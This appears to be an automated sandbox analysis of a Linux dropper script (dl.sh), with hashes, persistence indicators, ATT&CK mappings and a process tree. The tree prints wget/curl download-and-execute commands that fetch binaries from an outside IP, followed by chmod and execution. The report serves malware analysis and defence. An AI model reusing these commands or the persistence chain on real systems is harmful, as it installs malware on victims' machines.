Analysis
- max time kernel
148s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
29/09/2026, 12:19
Static task
static1
Behavioral task
behavioral1
Sample
dl.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
dl.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
dl.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
dl.sh
Resource
debian9-mipsel-20260513-en
General
- Target dl.sh
- Size 622B
- Sample260929-phebjazbnb
- SHA256 e63cf3ce1a71ea69d596056cb212337c38ee4740b22f73b5bd64ffd47cbc0d7a
- MD5 68bac6bee1eea4a6b306af3577cd8264
- SHA1 b5620eda4313f368514fc39d64f226357395c6e9
- SHA512 eb238cd1ce81f9eb349f04597176b0757977e6c7b5da30f7726b3825a6370cea16ba01ab62ae93606876b3ed01a12bd215fe519fbd00e3fadf94326e0ee969ca
- TLSH T19AF0F9F1FC624471768D853FF6AD0286B6C25C7F10996E09344BFC226B6C4A4B09E633
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 674 chmod 679 chmod 697 chmod 731 chmod 738 chmod - Executes dropped EXE 5 IoCs
ioc pid Process /tmp/w 675 dl.sh /tmp/w 680 dl.sh /tmp/w 699 dl.sh /tmp/w 732 dl.sh /tmp/w 739 dl.sh - Creates/modifies Cron job 1 TTPs 3 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.d/kworker w File opened for modification /etc/cron.hourly/kworker w File opened for modification /var/spool/cron/crontabs/root w - Creates/modifies environment variables 1 TTPs 3 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /etc/profile w File opened for modification /etc/bash.bashrc w File opened for modification /etc/profile.d/kworker.sh w - Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/kworker w - Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.local w - Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/kworker.service w - Write file to user bin folder 2 IoCs
description ioc Process File opened for modification /usr/bin/ksoftirqd.742.tmp w File opened for modification /usr/bin/ksoftirqd w - Modifies Bash startup script 2 TTPs 3 IoCs
description ioc Process File opened for modification /etc/bash.bashrc w File opened for modification /etc/profile.d/kworker.sh w File opened for modification /etc/profile w - Reads process memory 1 TTPs 64 IoCs
Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.
description ioc Process File opened for reading /proc/97/maps w File opened for reading /proc/216/maps w File opened for reading /proc/662/maps w File opened for reading /proc/3/maps w File opened for reading /proc/6/maps w File opened for reading /proc/20/maps w File opened for reading /proc/577/maps w File opened for reading /proc/5/maps w File opened for reading /proc/286/maps w File opened for reading /proc/313/maps w File opened for reading /proc/641/maps w File opened for reading /proc/21/maps w File opened for reading /proc/22/maps w File opened for reading /proc/23/maps w File opened for reading /proc/41/maps w File opened for reading /proc/279/maps w File opened for reading /proc/11/maps w File opened for reading /proc/18/maps w File opened for reading /proc/166/maps w File opened for reading /proc/294/maps w File opened for reading /proc/19/maps w File opened for reading /proc/75/maps w File opened for reading /proc/107/maps w File opened for reading /proc/297/maps w File opened for reading /proc/4/maps w File opened for reading /proc/15/maps w File opened for reading /proc/24/maps w File opened for reading /proc/28/maps w File opened for reading /proc/42/maps w File opened for reading /proc/138/maps w File opened for reading /proc/635/maps w File opened for reading /proc/7/maps w File opened for reading /proc/106/maps w File opened for reading /proc/564/maps w File opened for reading /proc/579/maps w File opened for reading /proc/639/maps w File opened for reading /proc/104/maps w File opened for reading /proc/300/maps w File opened for reading /proc/640/maps w File opened for reading /proc/156/maps w File opened for reading /proc/158/maps w File opened for reading /proc/282/maps w File opened for reading /proc/584/maps w File opened for reading /proc/8/maps w File opened for reading /proc/26/maps w File opened for reading /proc/29/maps w File opened for reading /proc/149/maps w File opened for reading /proc/320/maps w File opened for reading /proc/722/maps w File opened for reading /proc/730/maps w File opened for reading /proc/9/maps w File opened for reading /proc/16/maps w File opened for reading /proc/583/maps w File opened for reading /proc/2/maps w File opened for reading /proc/10/maps w File opened for reading /proc/13/maps w File opened for reading /proc/14/maps w File opened for reading /proc/17/maps w File opened for reading /proc/25/maps w File opened for reading /proc/326/maps w File opened for reading /proc/718/maps w File opened for reading /proc/43/maps w File opened for reading /proc/139/maps w File opened for reading /proc/631/maps w -
resource yara_rule behavioral2/files/fstream-4.dat upx behavioral2/files/fstream-6.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself watchdogd 742 w - Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/107/cmdline w File opened for reading /proc/641/cmdline w File opened for reading /proc/138/cmdline w File opened for reading /proc/279/cmdline w File opened for reading /proc/297/cmdline w File opened for reading /proc/583/cmdline w File opened for reading /proc/15/cmdline w File opened for reading /proc/17/cmdline w File opened for reading /proc/584/cmdline w File opened for reading /proc/662/cmdline w File opened for reading /proc/9/cmdline w File opened for reading /proc/12/cmdline w File opened for reading /proc/28/cmdline w File opened for reading /proc/139/cmdline w File opened for reading /proc/639/cmdline w File opened for reading /proc/14/cmdline w File opened for reading /proc/19/cmdline w File opened for reading /proc/20/cmdline w File opened for reading /proc/286/cmdline w File opened for reading /proc/self/exe w File opened for reading /proc/29/cmdline w File opened for reading /proc/42/cmdline w File opened for reading /proc/579/cmdline w File opened for reading /proc/3/cmdline w File opened for reading /proc/7/cmdline w File opened for reading /proc/97/cmdline w File opened for reading /proc/326/cmdline w File opened for reading /proc/631/cmdline w File opened for reading /proc/21/cmdline w File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/13/cmdline w File opened for reading /proc/149/cmdline w File opened for reading /proc/635/cmdline w File opened for reading /proc/self/auxv curl File opened for reading /proc/106/cmdline w File opened for reading /proc/216/cmdline w File opened for reading /proc/577/cmdline w File opened for reading /proc/16/cmdline w File opened for reading /proc/25/cmdline w File opened for reading /proc/166/cmdline w File opened for reading /proc/282/cmdline w File opened for reading /proc/104/cmdline w File opened for reading /proc/300/cmdline w File opened for reading /proc/self/auxv curl File opened for reading /proc/6/cmdline w File opened for reading /proc/10/cmdline w File opened for reading /proc/11/cmdline w File opened for reading /proc/564/cmdline w File opened for reading /proc/5/cmdline w File opened for reading /proc/18/cmdline w File opened for reading /proc/26/cmdline w File opened for reading /proc/27/cmdline w File opened for reading /proc/75/cmdline w File opened for reading /proc/313/cmdline w File opened for reading /proc/320/cmdline w File opened for reading /proc/2/cmdline w File opened for reading /proc/156/cmdline w File opened for reading /proc/294/cmdline w File opened for reading /proc/640/cmdline w File opened for reading /proc/718/cmdline w File opened for reading /proc/730/cmdline w File opened for reading /proc/8/cmdline w File opened for reading /proc/744/cmdline w File opened for reading /proc/sys/crypto/fips_enabled curl - System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 703 wget - Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/wife.pid w File opened for modification /tmp/w wget File opened for modification /tmp/w curl File opened for modification /tmp/w wget File opened for modification /tmp/w wget File opened for modification /tmp/wife.lock w File opened for modification /tmp/w wget File opened for modification /tmp/w curl File opened for modification /tmp/w wget
Processes
-
/tmp/dl.sh/tmp/dl.sh1⤵
- Executes dropped EXE
PID:642 -
/bin/unameuname -m2⤵PID:644
-
-
/bin/rmrm -f w2⤵PID:646
-
-
/usr/bin/wgetwget -qO w http://23.95.228.20/wife.armv7l2⤵
- Writes file to tmp directory
PID:649
-
-
/usr/bin/curlcurl -so w http://23.95.228.20/wife.armv7l2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:668
-
-
/bin/chmodchmod +x w2⤵
- File and Directory Permissions Modification
PID:674
-
-
/tmp/w./w2⤵PID:675
-
-
/bin/sh/bin/sh ./w2⤵PID:675
-
-
/bin/rmrm -f w2⤵PID:676
-
-
/usr/bin/wgetwget -qO w http://23.95.228.20/wife.armv7l2⤵
- Writes file to tmp directory
PID:677
-
-
/usr/bin/curlcurl -so w http://23.95.228.20/wife.armv7l2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:678
-
-
/bin/chmodchmod +x w2⤵
- File and Directory Permissions Modification
PID:679
-
-
/tmp/w./w2⤵PID:680
-
-
/bin/sh/bin/sh ./w2⤵PID:680
-
-
/bin/rmrm -f w2⤵PID:681
-
-
/usr/bin/wgetwget -qO w http://23.95.228.20/wife.aarch642⤵
- Writes file to tmp directory
PID:682
-
-
/bin/chmodchmod +x w2⤵
- File and Directory Permissions Modification
PID:697
-
-
/tmp/w./w2⤵PID:699
-
-
/bin/rmrm -f w2⤵PID:701
-
-
/usr/bin/wgetwget -qO w http://23.95.228.20/wife.mips642⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:703
-
-
/bin/chmodchmod +x w2⤵
- File and Directory Permissions Modification
PID:731
-
-
/tmp/w./w2⤵PID:732
-
-
/bin/rmrm -f w2⤵PID:734
-
-
/usr/bin/wgetwget -qO w http://23.95.228.20/wife.arm72⤵
- Writes file to tmp directory
PID:736
-
-
/bin/chmodchmod +x w2⤵
- File and Directory Permissions Modification
PID:738
-
-
/tmp/w./w2⤵
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Reads process memory
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
PID:739
-
-
/bin/rmrm -f w2⤵PID:741
-
-
/bin/rmrm -f /tmp/dl.sh2⤵PID:743
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/cron.d/kworker
- Size 113B
- SHA256 13f0acdbf55ce1f4cbe4bd66a713a6f2baf97893eccccf22f47dbda38e5206a5
- MD5 6ca0bf8a0e51fcf15d8df720fa19825a
- SHA1 5e90cb03d51696b375d01c199e04646e7b4c71fb
- SHA512 8d7b812e0f5b9e9b81841157c52a5dc27ce66c9830fba9279e628f286af0e73da2e847d45631f1a05c47532d2f5af1414ec3203f622bd75f195ddc0c44ee655d
- TLSH T1DEB01231B798682DFC50FCAB63011B6105C288600C7BBF50C0EF5422EE2D35B214401C
- MD5 SHA1 SHA512 TLSH
- Path /etc/cron.hourly/kworker
- Size 59B
- SHA256 3c4b5f0b1063049c971210ae2d5632494a04841b2d17f42e7dbaafffdb32d361
- MD5 21a662d6828886ee324d234650ba79cd
- SHA1 0c37584ea59a6bb50449e189fb32207074276a7a
- SHA512 ae17175b12599c0f0140987efe009fd44ab16bb3950ef76fed762fbac38ceaefc852829063af6dc7a8ca05b33a46a7354e8ad9e47a4bb6bbda8aca8c5b691e29
- TLSH T1F8A002B1B9184C12BC1958DDB506566198C2896128A67560C0C68856B57A34D3285619
- MD5 SHA1 SHA512 TLSH
- Path /etc/init.d/kworker
- Size 118B
- SHA256 eb5be8efa8827ad8257775ca199bd29fa4f20a1e4cc8a3e6d9dd381efbc20e4d
- MD5 62f8d9d931219eeea72fc127e8c0e30e
- SHA1 1f7f1c0eb3c8818cb18277be02b4104538c59f2b
- SHA512 efb8dafae8cd79d93fba03ab93f9caef59019a4a2df7951491dccaff4f605fe5c5f12edc27f5d441c443930603b1ca5423566bc8a193e678fd5aa973e51be216
- TLSH T199B02B40B80448216D0604C4511162020C41001300413814A6C541817B317062280A0C
- MD5 SHA1 SHA512 TLSH
- Path /etc/profile.d/kworker.sh
- Size 66B
- SHA256 afdf673e11a9cc7d0df7751150559fe51ca70d9498212fa8b5b59738e5c7e4f5
- MD5 38ffd0174fe30d451061c46b637751d2
- SHA1 a30d7dc3e47e93d0afababa34308ba0667120a44
- SHA512 1f9beeb9abc40403e41307c9f5ddc1c334007e090a7728e36341462e4a9b8fdfb0c66812b660fa7236e7ca33a45a3768f636224aa0de586afe18c2d1448d0a3d
- TLSH T119A02222B8080C02BC200CC8BA028E8208C3882308E33000C0CE8822B03A0080B80C08
- MD5 SHA1 SHA512 TLSH
- Path /etc/systemd/system/kworker.service
- Size 219B
- SHA256 da117dd0b8c7f6f576abac1c412c7f120a47a7b1a182b72bdc7629a99d943d0d
- MD5 7b0066e6551910b55527b26af2b8d0aa
- SHA1 0b4a8783a577118d5290b240005b88b0d5221f0d
- SHA512 8b887c872b2de107cbfc7374859fedf7b69119afffb606cf183b9b7295688ff29f00174d35ca60c417e3eb669c776840d032f7ba9a65887cccef1d0c2073e7db
- TLSH T1F7D0A717BE212466C8660466DE725FC0485052444A8A65305FD5255B54F795680606DD
- MD5 SHA1 SHA512 TLSH
- Path /tmp/w
- Size 162B
- SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
- MD5 1b7c22a214949975556626d7217e9a39
- SHA1 d01c97e2944166ed23e47e4a62ff471ab8fa031f
- SHA512 ba64847cf1d4157d50abe4f4a1e5c1996fe387c5808e2f758c7fb3213bfefe1f3712d343f0c30a16819749840954654a70611d2250fd0f7b032429db7afd2cc5
- TLSH T159C08C6E2613BD4CC6A3217522C3B490C09AA3A7A4EA46214840805331CB29A8AC7396
- MD5 SHA1 SHA512 TLSH
- Path /tmp/w
- Size 72KB
- SHA256 47e8a66124310758285a549ba29900bd30a86e13ded7f165640954f7b5602ca1
- MD5 95f053a1ec127e6a6a66fee07dfaa69d
- SHA1 b15d7ac3ac86b832f514a88fdd194595d13afeda
- SHA512 d9d8a376ffc381f5525d62399c8aef1ddc2aac6c666d916748a1f8a03111e2046c90be4293969f6fa172dcb2d53a58a1a2a5282402fc812a6b1e12a3002b62bb
- SSDEEP 1536:vkDE3D/SF9zg1k4fUp0AqaCDWECwtw6abLvmEQXe0nTLG8jg0PnRFMBO3sz7JGPq:vk6SHzg11UiA5jvFdOXVGyHnoQ8z7+N8
- TLSH T1137302C3D7A2D6FBE74045F184160C766A11EB7E3DF786D63ABC25028C98922CE42453
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/w
- Size 236KB
- SHA256 924793b4852a7d7842d6ce6d11d89ed3387aeda332316e0b061073bcfdf999e7
- MD5 358d17108a7da8686a9e850fbb204b49
- SHA1 4b6e87fe9bb4ec6bce81969c99ce580406799bd9
- SHA512 fbbf050fad56f49aa4cc6ab51f02e4b0504366db056dea81e137d3830b737842136a05f9c66b764fc4e38badca707dd9dacf5a1100228da0d5728fc14795863c
- SSDEEP 3072:4aFg0EDFb1Fohaxdgrhxoi6TNHx6rKYd3cTcZ9ebNDonMNaxK5CYEM+w1qgGg95Z:z70ZkbGZcYfxkYkwIsy
- TLSH T173345CD17386ABB3CA1962744EF3C3345BE936221663C94BE32A571D0E755A67C2CEC0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/w
- Size 70KB
- SHA256 3bef89a430be6418e9a8c5ddfb24ec1dd6e426e334db9d5acf7af07461929c05
- MD5 6c8b52e64d3ce3d26eaab8b92d5cdee9
- SHA1 dbb663ab6c1c93644f2ddba15c79c902ec33541f
- SHA512 bbc187baca7ce651ec0c80f629c6f98871fe47e4c73cd72c5ef0370286601f63a10807994266e19b36b553721c7862a33d0a094f0ad0ba616ffbc39c828f7516
- SSDEEP 1536:qDMUlw/y78U2yyDw8D18X8Dee2i2WzH76ObFYmf:691KDwkq8fX2877FYmf
- TLSH T1E7631272540C88B2E53132B7E9ED895724D476FEBB8261F138648ED1D8C02AF5B795C2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/wife.lock
- Size 4B
- SHA256 8a411eab6dc3431021059b9f59f07823a0303ff869b639e1df92f295cfb11721
- MD5 0ebbca8033f16b6db3cf6a63c1ba9ef7
- SHA1 595131baab0a3450473b3581d03618b1edec2195
- SHA512 f5a145299db70eae0563159a96e1239a002cf7b11df1c20d2cf3ba5d990fff3a9222d1d3581d1cdc418cc020f5f3f0752f0043b393976ca690b395198eb49d1e
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/root
- Size 58B
- SHA256 84701673df20e264f5fc390d59d6ab229eb69d184d084d461ce683874f125190
- MD5 d3a62820d6e073818922074a56975ba8
- SHA1 a454e6ca9bfea5c04e388afc4533aa0f1201bace
- SHA512 835eea2944500a4c13169c92b4be051f97f0c6addd1ba23cb4f81e6cbe16b2edd6bfe3de32fd4eb4dd2d7ba430c7b870903716d19c1e4b23c979f0b385647471
- TLSH T1A3A00266FD180C12BC2548C9B60657415CC28D6104E67550D0CBA875757A1881284559
- MD5 SHA1 SHA512 TLSH